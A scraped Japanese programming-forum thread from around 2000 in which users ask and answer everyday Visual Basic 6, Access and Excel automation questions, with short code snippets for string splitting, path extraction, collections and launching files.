>一般的には、エラートラップしかないね。イヤなら門番を立てるか、
そうします。
>メモリを覗くか。
ところで、メモリを覗く、とはどうやるのですか？
0745デフォルトの名無しさん
NGNG「覗き」で検索してね。
0746デフォルトの名無しさん
NGNG「RtlMoveMemory」で検索してね。
0747名無しさん
NGNGHttpSendRequestのAPIが失敗してしまいます。
http://tarz.virtualave.net/inet.txt
ですが、どこが間違ってるんでしょうか？
0748デフォルトの名無しさん
NGNGとりあえず、エラーコードは？ GetLastError()はだめよん。
0749747
NGNG指定されたモジュールが見つからないエラーが返ってました。
戻り値にインターネットハンドルが正常に返ってきてたみたいなので
見逃していたみたいです。
もう少し考えてみます。
0750休憩中
NGNG0751デフォルトの名無しさん
NGNG0752747
NGNG0753デフォルトの名無しさん
NGNGvbNull = 1だから、気をつけないとね。
0754>743
NGNGいやあきらめた方がよさそうかもしれませんね。
自宅で一からやり直すしかないか･･あー鬱だ
743さん回答ありがとうございました。
0755デフォルトの名無しさん
NGNGドイツ製のツールがあるってのは聞いたことがあるよ。
0756デフォルトの名無しさん
NGNGGetStdHandleとWriteFileをつかって標準出力に出力する時、上手くAnsi制御文字(だっけ?)が扱えません。
どうしたらいいのでしょうか? LSI-Cがあるからいざという時はいいけどCはいまいち自信がありません。
0757デフォルトの名無しさん
NGNG0758デフォルトの名無しさん
NGNGASM
END ASM
とか書いても駄目みたいです。
それが駄目ならDATA文に書いといてPOKEで書き込むとか出来ますか？
0759デフォルトの名無しさん
NGNGこれを数字ごとに分割して使いたいのですがどういった方法でやればいいのでしょうか?
0760デフォルトの名無しさん
NGNG氏ね
0761デフォルトの名無しさん
NGNGAns制御文字ってエスケープシーケンスコードの事？
どううまくいかない？？
>>758
VBはそういう使い方はできない
>>759
VB6以降ならSplit関数を使う
それ以前なら自分で実装するか、ネットに落ちてるソースを
使う
0762759
NGNGSplit関数を使ったらインデックスエラーが出ます
値がNULLの時も使えるようにするにはどうしたらいいのでしょう?
0763デフォルトの名無しさん
NGNG0764759
NGNG初心者なのでさっぱりわかんないんです・・・・・
0765デフォルトの名無しさん
NGNGIf Len(value & "") <= 0 Then
'値が空の時の処理
Else
buf = Split(valuek,"_")
End If
0766759
NGNGありがとうございます。
あと、
1_1_1_1_1のある部分がNULLの場合はどうしたらいいでしょうか？
たとえば
12__2_1_1のような時です
インデックスの有効範囲エラーになってしまいます
0767デフォルトの名無しさん
NGNGDim D() As Byte
E = "1_1_1_1_1"
D = StrConv(E, vbFromUnicode)
MsgBox Chr$(D(0))
0768756
NGNGそうです。画面をクリアしようとしても変な文字になってしまうんです。
Chr(&H1B) & "]2J" を書きこめばいいんですよね?
0769>>768
NGNG0770768
NGNGDOSのPROMPTコマンドでやってみたら成功したんでそれはないかと。
ちなみにWin2kRC2です
0771>>770
NGNG0772770
NGNGないと思われます
0773デフォルトの名無しさん
NGNG0774デフォルトの名無しさん
NGNG0775救助依頼
NGNG＜救助依頼について＞
下記に現状報告をします。そして、ピンチ内容の報告をします。
ピンチ内容について、助言をいただきたく思います。
よろしくお願いいたします。
＜現状＞
現在、MS-Access９７のモジュールから、GetObject()で
MS-Excel97のワークシートを開き、その内容を読み込み、
データベースサーバ(SQL-SERVER6.0)のテーブルに処理結果
を反映させる処理をやっています。
＜ピンチ＞
ところが、2500行ほど処理をするとエクセルシートの読み込
みが止まってしまうのです。デバッグしてみると、
オートメーションエラーです。そして、エクセルは無反応・・・。
これは一体？！
ちなみに、Windows98で起きてしまいますが、Windows2000では
問題無く処理が終了します。
0776デフォルトの名無しさん
NGNGWin2k環境ないから確認できないけど、NT系のコンソールで
エスケープシーケンスって使えるの？
http://support.microsoft.com/support/kb/articles/Q101/8/75.asp
0777デフォルトの名無しさん
NGNGExcelをVBでコントロールするとそういったエラーがでることあるよ。
詳しくはMSのサイトにのっているよ。
私も以前、同じ問題で苦しんだよ。頑張ってね。
0778デフォルトの名無しさん
NGNGAccess 側に遅延処理を書くとか。
0779777
NGNG仕方がないなぁ～サービスだ、調べましたよ。
http://www.microsoft.com/japan/support/faq/KBArticles2.asp?URL=/japan/support/kb/articles/j049/6/06.htm
ここ見てね。
(しれっと777ゲットしてちょっとうれしい・・・)
0780デフォルトの名無しさん
NGNGよく聞く話だけど
ttp://www.microsoft.com/JAPAN/support/kb/articles/J049/6/06.htm?LN=JA&SD=SO&FR=0
これのこと？
0781780
NGNG0782775
NGNG775の質問をした者です。どうもありがとうございました。
感謝いたします。
切迫した状況が続いておりまして、お礼の書き込みが
遅くなり大変失礼いたしました。
とても助かりました。
0783VB よくわからん
NGNGアイコンの書き換え方をご存知の方はいらっしゃいませんか？
0784デフォルトの名無しさん
NGNGあー、このバグねえ。でもこれループの回数を減らしても結局いつかは
止まるんじゃなかったかなあ。Win9xを使ってる限りだめだね。
これWin9xだとRPCのコールにPostMessageを使っててメッセージキューの
使用カウンタがオーバーフローして0に戻ってメッセージがあるにも
かかわらずメッセージが無いことになっちゃってRPCがタイムアウトするって
問題だったはず。
Excelの持ってるRPCメッセージを受け取るWindowに一秒に一回くらい適当な
メッセージをPostMessageをすれば回避できるはず。
まあ、Win2000に切り替えるのがお勧めだね。
0785デフォルトの名無しさん
NGNG終了して再立ち上げすればメッセージキューの使用カウンタが0に
戻るからまたしばらく動く。
0786デフォルトの名無しさん
NGNGループで取得しなければ済む話では？
0787デフォルトの名無しさん
NGNGで、オートメーションは一回やるたびに4回RPCコールをするから
4増えると。で結局16384回のオートメーションを実行するとカウンタが
0になるから、RPCコールの受け側がRPCメッセージがないと勘違いして
処理がとまるわけ。だから16384回を8192回*2にしようが何しようが
同じアウトプロセスサーバに対するオートメーションの総数が16384回に
なった時にハングする。増えていくカウンタ減らすすべは無いし、
終了しない限りクリアされることも無い。
0788デフォルトの名無しさん
NGNG>MS-Excel97のワークシートを開き、その内容を読み込み、
>データベースサーバ(SQL-SERVER6.0)のテーブルに処理結果
>を反映させる処理をやっています。
って事だから、1シートにつき一回のメソッドで値を取得すれば
>で結局16384回のオートメーションを実行
こんなに実行しないで済むのでは、と。
0789デフォルトの名無しさん
NGNGここまでやった人だけがその素晴らしさを知ると
いう感じですな。
0790デフォルトの名無しさん
NGNGEXCELで自からを終了させるには、
ソースどう書けばいいのですか？
イロイロやってもBOOKしか終了できなくて困っています
コレが終われば明日の納品間にあいます 寝れます お願いします
0791デフォルトの名無しさん
NGNG>ソースどう書けばいいのですか？
Application.Quit
ヘルプ見てますか?
0792デフォルトの名無しさん
NGNG0793デフォルトの名無しさん
NGNGしかし、Application.Quitが分からない、Excelプログラムって
一体なんだったんだろうか？なぞ
0794デフォルトの名無しさん
NGNG0795デフォルトの名無しさん
NGNGマルチゃん。 逝ってよし。 盛大に逝ってよし。
0796デフォルトの名無しさん
NGNGORACLEの指定したフィールドに値がなかったら
別の指定した値を取得するNVL関数みたいのってあるんでしょうか？
0797デフォルトの名無しさん
NGNGヘルプ見よ！
0798デフォルトの名無しさん
NGNGでもパススルークエリならNVLそのまま。
でもそのテーブル設計ってまずい。DEFAULT指定すべき。
0799797
NGNGハズカシ
0800796
NGNGありがとうでした。
NZ・・・探しきれなかったので助かりました。
これで仕事が進みます(鬱
0801デフォルトの名無しさん
NGNGそれに基づいてVB上のMS-GRAPHのデータシートの内容を書きかえたいのですが
その方法や手順を教えていただけないでしょうか？
また、参考に資料のようなものがWeb上などにあるのなら
その場所を教えていただけないでしょうか？
よろしくお願いします。
0802デフォルトの名無しさん
NGNG0803デフォルトの名無しさん
NGNGMSDNで shell 終了 で検索しなさい
0804名無し
NGNGPrivate Sub RichTextBox1_Change()
WkStr = RichTextBox1.Text
End Sub
これをやると
・リッチテキストボックスになんでもいいから文字列を入れる
・文字を反転させる
・漢字入力(ローマ字変換)で文字を入力
すると初めのキーがIMEに渡らずにリッチテキストボックスに入力されます。
ATOK12でもMSIME2000でも同じ症状でした。あ、VB6SP4です。
なんとかならんですかね？
0805>804
NGNGVB6.0 SP4
Office2000SR-1
そんな事おきないよ
環境壊れてるんじゃないの？
0806デフォルトの名無しさん
NGNGPaperSize プロパティで設定できそうな感じですけどMSDNを見ても
A4とかA3などの汎用的サイズは設定できても任意サイズでは指定できないようです。
やっぱりプリンタのプロパティウィンドウを開いてユーザーに設定してもらう
しかないのかな。
0807D使いβ
NGNGPrinter.Hight = xx
Printer.Width = yy
じゃ駄目？
NT/2000系だとプリンタフォルダ開いて[ファイル]-[サーバーのプロパティ]
で定義してやらないと駄目みたいだけど・・・
(APIのEnumFormsでの情報取得が必要)
ヘルプのHeight,Widthの説明とPaperSizeの説明が食い違ってるのが
気になる。
0808806
NGNGHightとWidthを強制指定してしまえばいいんですね。
色々やってみます。
しかし・・PaperSizeプロパティ、ユーザー定義だと
vbPRPSUser(256)ってやつ、エプソンのドライバだと確かにそうなんだけど、
キャノンだと580だったなぁ・・これがようわからんです。
0809デフォルトの名無しさん
NGNGにちゃんと書いといて統制とらなかったのが悪いんだよね。
（社内でもとれてない？）
XPからはMSの検査にパスしてないものは警告が出るように
なるそうだが・・・
0810デフォルトの名無しさん
NGNGdim i に修正して保存。再びプロジェクトを開くと dim I
になってます。
どうすれば、dim i にできるでしょうか？
0811デフォルトの名無しさん
NGNGPublic i
Const i
Enum hoge
i
End Enum
とかあるんじゃない？
0812デフォルトの名無しさん
NGNGdim I → dim i やると直ったです
dim ICountとか書きやがったやついるな
0813デフォルトの名無しさん
NGNGグリッドの様にセル幅が自由に変えられてグラフもそれに合わせて再描画する。
表示グラフ（線の部分）のイベントが取れるのってありますか？
0814デフォルトの名無しさん
NGNG0815デフォルトの名無しさん
NGNGにはどうすれば?
0816デフォルトの名無しさん
NGNG0817デフォルトの名無しさん
NGNG0818み
NGNG質問なんですがVBでボタンを押すとたとえばアウトルックのオプションが出てくるとかはできますか？
それはアウトルックが起動していることが前提になりますか？
この辺がわかってないので教えてもらえますか？
具体的にはどうすればいいんでしょうか？
お願いします
0819初心者A
NGNG対応してるのってあるんでしょうか。95/98対応ってのばっかなんで
0820デフォルトの名無しさん
NGNGグラフコントロールでどう？ 高機能なのを求めるなら、サードパーティ
製を選ぶのがいい。http://www.boc.co.jp/ にいってみれ。
>>814
FloodFill()とかかな。APIを使わないなら、PSetでしこしこと。
>>815
意味不明。
>>816
VBマガジンとかどうよ？ あとは、初心者向けの本が出てるだろ。
>>818
Outlookのオプションって何？ 具体的に教えて。
>>819
VB6SP5で対応してるらしい。でも、開発にはWindows 2000とかの方が
いいよ。
0821よし
NGNGどのようにプログラミングすれば出来るのでしょうか？
0822デフォルトの名無しさん
NGNG確か、ポーリングするしかなかったと思う。
発想を変えて、Auto_Openマクロを仕込んだExcelファイルを、1時間ごとに
スケジューラで起動するってのはどう？
0823デフォルトの名無しさん
NGNGMFC なんかではディスプレイの外など位置的に不可視なとこに
ウィンドウ移してやってますね。
0824み
NGNGアウトルックを開いてなくてもぽんと押すと
アウトルックを開いてツール＞オプションを
出したのと同じ画面が出てくるとかそんな感じです
やっぱり無理ですよね。申し訳ない
複数のソフトとの設定で提携が出来ればいいなと思っただけです
0825デフォルトの名無しさん
NGNG0826デフォルトの名無しさん
NGNGFormA.visibleを参照すると
Forms.Countの値が１増えるんですけど、どうしてですか？
FormAをロードしたうえで参照するから？
0827よし
NGNG８２１です。アドバイスありがとうございます。
ポーリングしてもいいのですが、無限ループ構造のプログラム
を作ってしまうとＥｘｃｅｌの他の操作が出来なくなってしまいます
よね。無限ループにならないポーリング方法などありませんかねぇ？
＞発想を変えて、Auto_Openマクロを仕込んだExcelファイルを、
＞1時間ごとに スケジューラで起動するってのはどう？
なるほど。発想を変えるといい方法ありすね。いいポーリング方法が
見つからなかったらこの方法で行きたいと思います。
0828デフォルトの名無しさん
NGNGサーバー側がインターフェイスを提供してれば可能。もしかすると、公開
しているかもしれないので、オブジェクト階層を調べてみれば？
>>826
そう。フォームのプロパティを参照/設定すると、暗黙的にフォームが
ロードされる。
>>827
Application.Wait()とかでできたような気もするけど、あまりきれいになら
なかったような・・・ ま、Excel97の頃の記憶なんで、話半分で聞いて。
0829デフォルトの名無しさん
NGNG各頂点の計算と辺の表示が出来たんですが
サーフェイスの色を塗ることが出来ません。
どうすればいいのでしょうか？
0830デフォルトの名無しさん
NGNG各頂点の計算と辺の表示が出来たんですが
サーフェイスの色を塗ることが出来ません。
どうすればいいのでしょうか？
0831デフォルトの名無しさん
NGNGテキストボックスの値をクリップボードにコピーするのは、
どうすればいいのでしょうか？
宜しくお願いします。
0832デフォルトの名無しさん
NGNGClipboard.SetText で。
0833デフォルトの名無しさん
NGNG有難うございました。
ヘルプでCopyをずーと調べてたもので、全然見つからなかったのです。
解決しました。
0834デフォルトの名無しさん
NGNGお願いします。
0835デフォルトの名無しさん
NGNGApp.PrevInstanceプロパティでチェック。
0836デフォルトの名無しさん
NGNGレス有難うございます。
複数起動はされないようになったのですが、
先に起動されていたほうをアクティブにするのは難しいんですね。
Appactivateでもうまくいかないもので…
もう少し調べてみます。
有難うございました。
0837デフォルトの名無しさん
NGNGその処理は結構めんどくさい。DDEを使う方法もあるけど、よく使われるのは
FindWindow()して、SetForeGroundWindow()かな。
キャプションが固定のときね。
0838デフォルトの名無しさん
NGNGマクロを連続的に自動で抜き出して、*.basに保存する方法はあるでしょうか？
よろしくお願いします
0839デフォルトの名無しさん
NGNGちょっとヘルプがないんで分からないんだけど、VBEオブジェクトを使って
操作できたと思うよ。
0841デフォルトの名無しさん
NGNGMsgBox Printer.DeviceName
としたときにＷＩＮ９８とＮＴで表示内容が違うのですが…。
ＷＩＮ９８とＮＴで表示内容を同じにすることはできないのでしょうか？
0842デフォルトの名無しさん
NGNGちなみに、どう違うの？ デバイス名がOSで異なるのはしょうがないと思うけど。
0843841
NGNGＷＩＮ９８では印刷に使用するドライバ
ＮＴでは印刷先のポート
が表示されます。
0844デフォルトの名無しさん
NGNG0845デフォルトの名無しさん
NGNG0846デフォルトの名無しさん
NGNG「ファイル c:\windows\system\EXPSRV.DLL
の登録中にエラーが発生しました」
というエラーが出るのですが、なんのエラーなのでしょうか？
一見、問題はないのですが。
0847デフォルトの名無しさん
NGNG0848デフォルトの名無しさん
NGNGSplit()で分けて、UBound()
0849デフォルトの名無しさん
NGNGできれば他のやり方がいいのです・・・
0850デフォルトの名無しさん
NGNGMsgBox(cstr(bar(Text1.Text, "?", "")))
End Sub
Public Function bar(lpTargetstr As String, RequireStr As String, ByRef Errortext As String) As Long
Dim i As Long
Dim result As Long
Dim tempstr As String
' //const RequireStr = "?"
On Error GoTo Catch
result = 0
For i = 1 To Len(lpTargetstr)
tempstr = StrConv(Mid(lpTargetstr, i, 1), vbWide)
If tempstr = StrConv(RequireStr, vbWide) Then GoSub Findit
Next i
bar = result
Exit Function
Findit:
result = result + 1
Return
Catch:
bar = -1
Errortext = CStr(Err.Description)
End Function
0851デフォルトの名無しさん
NGNGwinsockつかえば？
>>846
http://www.sfdata.ne.jp/windev/iij/htdocs/msg24018.html
>>849
1文字ずつ取りだしてinstr
0852デフォルトの名無しさん
NGNG0853デフォルトの名無しさん
NGNGMsgBox Combo.Text
MsgBox Combo.Item(0).Text
と指定しなければいけない事があるみたいだけど、
これはなんで？
どこかスタイルをかえちゃったのかな？
0854デフォルトの名無しさん
NGNGどんなエラーが出るのですか？
0855デフォルトの名無しさん
NGNG0856デフォルトの名無しさん
NGNGろくなことしないにゅ。(w
0857デフォルトの名無しさん
NGNGい ん
ざ な
う あ あ 糞
ゃ あ
ス
じ ぁ ぁ
レ
ｅ
は
ｇ ｓ
ａ
0858デフォルトの名無しさん
NGNG氏んでね
0859デフォルトの名無しさん
NGNG0860デフォルトの名無しさん
NGNG0861デフォルトの名無しさん
NGNGこのような文字列から
"C:\Documents and Settings\Default User\Favorites\メディア"
を取り出したり
"メディア ガイド.url"
や
"メディア ガイド"
を取り出すのはどのように行うのでしょうか？
よろしくお願いします。
0862デフォルトの名無しさん
NGNG頭から順に\を検索する
\が見つかったら何文字目かを変数Aに控えておく
これを文字列の最後までやる
ここで変数Aの値が最後の\の位置なので、
その次の文字から最後までがファイル名になる
空白やピリオドに関しても同じようにやればOK
最後から順に検索だと、漢字の2バイト目に隠れてる\に引っかかってしまう。
これが一般的なアルゴリズムだと思うけど、
VBだと漢字を1文字として数える命令があるのかもね。
当方Cプログラマなのでこれ以上は。
0863デフォルトの名無しさん
NGNG0864デフォルトの名無しさん
NGNG最後まで行って変数Aがマイナス１のままだったら￥が無かったってことね。
エラー処理してください。
あと変数Aの初期値は有り得ない数だったらマイナス１じゃなくても何でもいいです。
0865デフォルトの名無しさん
NGNGギャ。そんな便利な命令があるんですか。
VBっていいですね。
鬱駄氏脳
0866デフォルトの名無しさん
NGNGPathRemoveExtensionとか
0867861
NGNGありがとうございます。
でもちょっと面倒なのでそれはやりたくないです。
あと、VBでは2バイト文字も1文字として扱われるみたい。
>>861さん
Splitはわかるのですがpathってのがわかんない。
>>866
VBでAPI使ったことないですー。(氏
0868名無しおやぢ
NGNGInstr関数を使うもよし、FileSystemObjectでもたぶんできそう・・・。
もし、自分でやり方がわからなくても、WEBで検索すればこの程度の
サンプルコードは腐るほどたくさんあるので、コピペすれば問題なし。（Ｗ
・・・王さんのホームラン数とおなじだから、キリ番かな？ (^^;
0869861
NGNGんん～、いけずぅ.
仕方ないから作ってしまたわ。
Function ExtractFileName(FullPath As String) As String
Dim FileNameArray() As String
FileNameArray = Split(FullPath, "\")
ExtractFileName = FileNameArray(UBound(FileNameArray))
End Function
Function ExtractFilePath(FullPath As String) As String
Dim FileNameArray() As String
Dim i As Integer
FileNameArray = Split(FullPath, "\")
For i = 0 To UBound(FileNameArray) - 1
ExtractFilePath = ExtractFilePath & FileNameArray(i) & "\"
Next i
End Function
Private Sub Command1_Click()
MsgBox ExtractFileName("C:\Documents and Settings\Default User\Favorites\メディア\メディア ガイド.url")
MsgBox ExtractFilePath("C:\Documents and Settings\Default User\Favorites\メディア\メディア ガイド.url")
End Sub
サンプルコードが腐るほど沢山あるページのリンク先
お・ね・が・ヰ・♥
0870>>869
NGNGでも、どっちも配列にバラすよりは InstrRev 使った方が速いよきっと
Public Function ExtractFileName(Path As String) As String
ExtractFileName = Right$(Path, Len(Path) - InStrRev(Path, "\"))
End Function
Public Function ExtractFilePath(Path As String) As String
ExtractFilePath = Left$(Path, InStrRev(Path, "\"))
End Function
こんな感じ
0871デフォルトの名無しさん
NGNG＃これだけのためにFileSystemObject使うのは無駄な気がするけど。
Public Function ExtractFileName(ByVal Path As String) As String
Dim fso As New FileSystemObject
If fso.FileExists(Path) Then
ExtractFileName = fso.GetFile(Path).Name
Else
ExtractFileName = ""
End If
End Function
Public Function ExtractFilePath(ByVal Path As String) As String
Dim fso As New FileSystemObject
If fso.FileExists(Path) Then
ExtractFilePath = fso.GetFile(Path).ParentFolder
Else
ExtractFilePath = ""
End If
End Function
0872861
NGNG>>870
エレガントで・す・て・き♥LOVE
>>871
ファイル存在チェックがよさげ♣
でもFileSystemObjectの使い方がわかんなかったわYO
ここみて調べたわ。
http://user3.allnet.ne.jp/tadnakam/Vb/Controls/Object/FileSystemObject.htm
0873デフォルトの名無しさん
NGNGコレクションのコレクションを作ってみたいのですが
Private Sub Command3_Click()
Dim i As Integer
Dim j As Integer
Dim ICol As New Collection
Dim JCol As Collection
For i = 1 To 3
JCol = New Collection
For j = 1 To 3
JCol.Add (CStr(j))
Next j
ICol.Add (JCol)
Next i
End Sub
うまくうごきません。
なぜでしょうか。よろしくおねがいします。
0874>873
NGNGFor i = 1 To 3
Set JCol = New Collection 'オブジェクトは Set だよ
For j = 1 To 3
JCol.Add CStr(j) 'まぁここは直さなくてもいいが
Next j
ICol.Add JCol 'ここはカッコを外さないとダメなのよん
Next i
戻り値のない関数・メソッドに引数を渡すときはカッコを付けちゃいけないんだよ
どうしてもカッコで囲みたい場合は Call hoge(param) って書き方も出来るけどね
Set の使い方はヘルプ見てね
0875デフォルトの名無しさん
NGNGこんなところかな？
＃説明がちょっと自信ないけど...
Private Sub Command3_Click()
Dim i As Integer
Dim j As Integer
Dim ICol As New Collection
Dim JCol As Collection
For i = 1 To 3
Set JCol = New Collection ' オブジェクト変数に直接オブジェクトを代入することはできない。
For j = 1 To 3
JCol.Add (CStr(j))
Next j
ICol.Add JCol ' Callステートメントを省略するときは、プロシージャへの引数を囲む()も省略する。
Next i
End Sub
0876875
NGNGプロシージャじゃなくて、メソッドだな。
宇津山車...
0877VB丁稚
NGNG同じ名前のコンボボックスコントロールをフォーム上に配置しようとして、
コントロールのコレクションになってませんか？
＞Combo.Item(0).Text
「Comboって名前のコレクションの０番目のメンバーのTextプロパティ」
にアクセスしているように見えます。
0879デフォルトの名無しさん
NGNGありがとうございます。
SetやCallの使い方がまだ出来ていなかった。
またわからないです。
Private Sub Command3_Click()
Dim i As Integer
Dim j As Integer
Dim ICol As New Collection
Dim JCol As Collection
For i = 1 To 3
Set JCol = New Collection
For j = 1 To 3
JCol.Add ("i=" & CStr(i) & " j=" & CStr(j))
Next j
ICol.Add CStr(i)
Next i
For i = 1 To ICol.Count
JCol = ICol.Item(i)
For j = 1 To JCol.Count
MsgBox JCol.Item(j)
Next j
Next i
End Sub
後半のFor i=1のループが動作しません。
JCol = ICol.Item(i)
というのがダメみたいなんだけど、
どうやったら出来るのでしょうか？
0880デフォルトの名無しさん
NGNG0881879
NGNGごめん、できました。
> ICol.Add CStr(i)
Icol.Add JCol
ですね。
よかった。
0882デフォルトの名無しさん
NGNGSet JCol = New Collection
For j = 1 To 3
JCol.Add ("i=" & CStr(i) & " j=" & CStr(j))
Next j
ICol.Add JCol
Next i
For i = 1 To ICol.Count
Set JCol = ICol.Item(i)
For j = 1 To JCol.Count
MsgBox JCol.Item(j)
Next j
Next i
0883デフォルトの名無しさん
NGNGVBを窓Meで使ってるのですが、コード書いているときに
マウスのホイールが使えないのはバグかなんかでしょうか。
ほかの窓Me使いさんはどうでしょう。
0884デフォルトの名無しさん
NGNGほかの窓Me使いさんはどうでしょう。
0885デフォルトの名無しさん
NGNGWindowsMe。
0886デフォルトの名無しさん
NGNGインテリポイントのドライバをアップデートすればいいらしいよ。
0887デフォルトの名無しさん
NGNG窓目
0888あ
NGNGいろんな音を作ったりするプログラムを作りたいんだけど。
ＶＢでこんなことって出来る？
0889デフォルトの名無しさん
NGNG0891デフォルトの名無しさん
NGNG0892デフォルトの名無しさん
NGNG任意のItemに文字列を代入したいのですが、出来ません。
(オブジェクトが無いというようなエラーが発生します。
以下のようなプログラムを動かしています
Private Sub Command3_Click()
Dim i As Integer
Dim j As Integer
Dim ICol As New Collection
Dim JCol As Collection
For i = 1 To 3
Set JCol = New Collection
For j = 1 To 3
JCol.Add ("i=" & CStr(i) & " j=" & CStr(j))
Next j
ICol.Add JCol
Next i
For i = 1 To ICol.Count
Set JCol = (ICol.Item(i))
For j = 1 To JCol.Count
MsgBox JCol.Item(j)
JCol.Item(j) = "iは" & CStr(i) & " jは" & CStr(j)
Next j
Next i
End Sub
JCol.Item(j)の所がわかりません。
どのようにするとよろしいのでしょうか？
よろしくお願いします。
追伸
>>882さんありがとう。
0893デフォルトの名無しさん
NGNG0894デフォルトの名無しさん
NGNGいいのですか？
宜しくお願いします。
0895デフォルトの名無しさん
NGNG俺にも教えれ
0896デフォルトの名無しさん
NGNG○and条件で<*****を>できるようにしたいのですが
プログラムより日本語勉強しな
0897８９４
NGNGすみません。
アクセスを使って名簿を作りたいのですが、combobox1であ行、か行・・・
を選択し、combobox2で年代を選択し、双方に当てはまる人を抽出したいのです。
どうすればいいのでしょう？
0898デフォルトの名無しさん
NGNGスレ違いだよ
0899８９４
NGNGすみません。
よく分かっていません。
0900892
NGNG私のもお願いします。
コレクションに入れたオブジェクトって
入れ替えは無理なんでしょうか。
RemoveしてAddするだけじゃ
順番が変わってしまって困ってます。
どうしたら・・・・・・・・・・・・・・・・・・・
0902デフォルトの名無しさん
NGNGじゃ冷たいんで。自分はシーケンス付きがいる時は、ユーザCollection
を作るな。
0903デフォルトの名無しさん
NGNGコレクションて、オブジェクトのコレクションよ。わかってる？
0904892
NGNGなぜInsertがないのでしょう.....
0905デフォルトの名無しさん
NGNGコレクションに入れるときに、ちゃんと文字列でキーをつけたら？
0906デフォルトの名無しさん
NGNGVBじゃ
Dim sptr as String
set sptr = new as String
ってできないから、コレクションにつっこむ意味あるの？
0907デフォルトの名無しさん
NGNG>なぜInsertがないのでしょう.....
Addプロシージャにbeforeやafterって引数あるけど？
>>906
>ってできないから、コレクションにつっこむ意味あるの？
あまり....
keyがつけられるから連想配列代わり？
なんで配列じゃなくてコレクションに入れたいのかってのは、
892に聞いてくださいな。
0908892
NGNG動的配列でReDimばっかするのもいやだったので。
Addをしらべてみます。
教えてくれてありがとうございます。
0909デフォルトの名無しさん
NGNG0910デフォルトの名無しさん
NGNGＶＢとの違いはあるの？
0911デフォルトの名無しさん
NGNG取り扱いは厄介ですが、使えるようになるとVBでできることの幅がグンと広がります。
0912889
NGNG0913889
NGNGして・・・とお膳立てがかなり面倒なのよ。
0914デフォルトの名無しさん
NGNG親切に教えてくれてどうもありがとうございました。
でも難しそうなのでやっぱいいです。
0915デフォルトの名無しさん
NGNG0916デフォルトの名無しさん
NGNGな？相手にしないほうがいいだろ？
0917ろくろ
NGNGVB上から関連づけされたプログラムを起動するには
どうしたらよいのですか？
c:\>start data.txt
で開くような感じでＶＢから起動したいのですが。
0918デフォルトの名無しさん
NGNGShell Environ("COMSPEC") & " /c start " & "data.txt"
0919デフォルトの名無しさん
NGNG%COMSPEC% を使う方法だと、コマンドプロンプトが開いちゃうので、
ShellExecute()を使うのが吉。
0920デフォルトの名無しさん
NGNGじゃないと本当に隔離されちゃうぞ。
0921VBer
NGNGVBとAccessはADOでつないでいて、Accessにはテーブルが2つ(リレーション)
をはってあります。
おそらく、データをLoop等で入れると思うのですが、やり方(できれば
具体的ソースコードで)をお願いできないでしょうか？
また、挿入された(Access)データに対してDblClickすることで
例えば、選ばれた行データ(テーブル１)の詳細データ(テーブル2)を
Form2等に表現する方法を教えてください。
つたない説明ですが、どうかお願いします。
0922デフォルトの名無しさん
NGNGつたなくないけど、それって質問じゃなくて
「お仕事お願い」だと思う
0923デフォルトの名無しさん
NGNG激しく同意
0924デフォルトの名無しさん
NGNG・ADOでConnectionを作成
・RecodSetを開く
・Do～Loopでレコードセットの末尾までループ
・リストビューのリストアイテムをAdd
・リストアイテムのサブアイテムにテキストを設定
・リストビューのダブルクリックイベントで選択されたアイテムを取得
・キーをForm2に渡す
・キーを使って詳細テーブルからレコード取得
・取得したレコードの内容を表示
具体的なやり方は調べてね。
0925921
NGNGありがとうございます。
とりあえず、調べてがんばります。
0926デフォルトの名無しさん
NGNG0927ろくろ
NGNG無事解決しました（笑
0928デフォルトの名無しさん
NGNGAPIに渡すとき、だね。
0929疲れ倍増！
NGNG#Const CH2 = True
Private Sub Command1_Click()
#If CH2 Then
MsgBox "(=ﾟωﾟ)ﾉ ぃょぅ"
#Else
MsgBox "こんにちは"
#End If
End Sub
・・・こんなんばっかし・・・鬱だ・・・
0930デフォルトの名無しさん
NGNG0931ちゃっぴー
NGNGフォームにテキストボックスを１つ作って、
テキストボックスに適当なファイルとＤ＆Ｄすると、
テキストボックス内にＤ＆Ｄしたファイルのパスを表示する
というものを作りたいのですが、
どうすればいいのかどうにもこうにも（Ｔ－Ｔ
0932デフォルトの名無しさん
NGNG＝＝＝＝＝＝＝＝ 終了 ＝＝＝＝＝＝＝＝
レス数が900を超えています。1000を超えると表示できなくなるよ。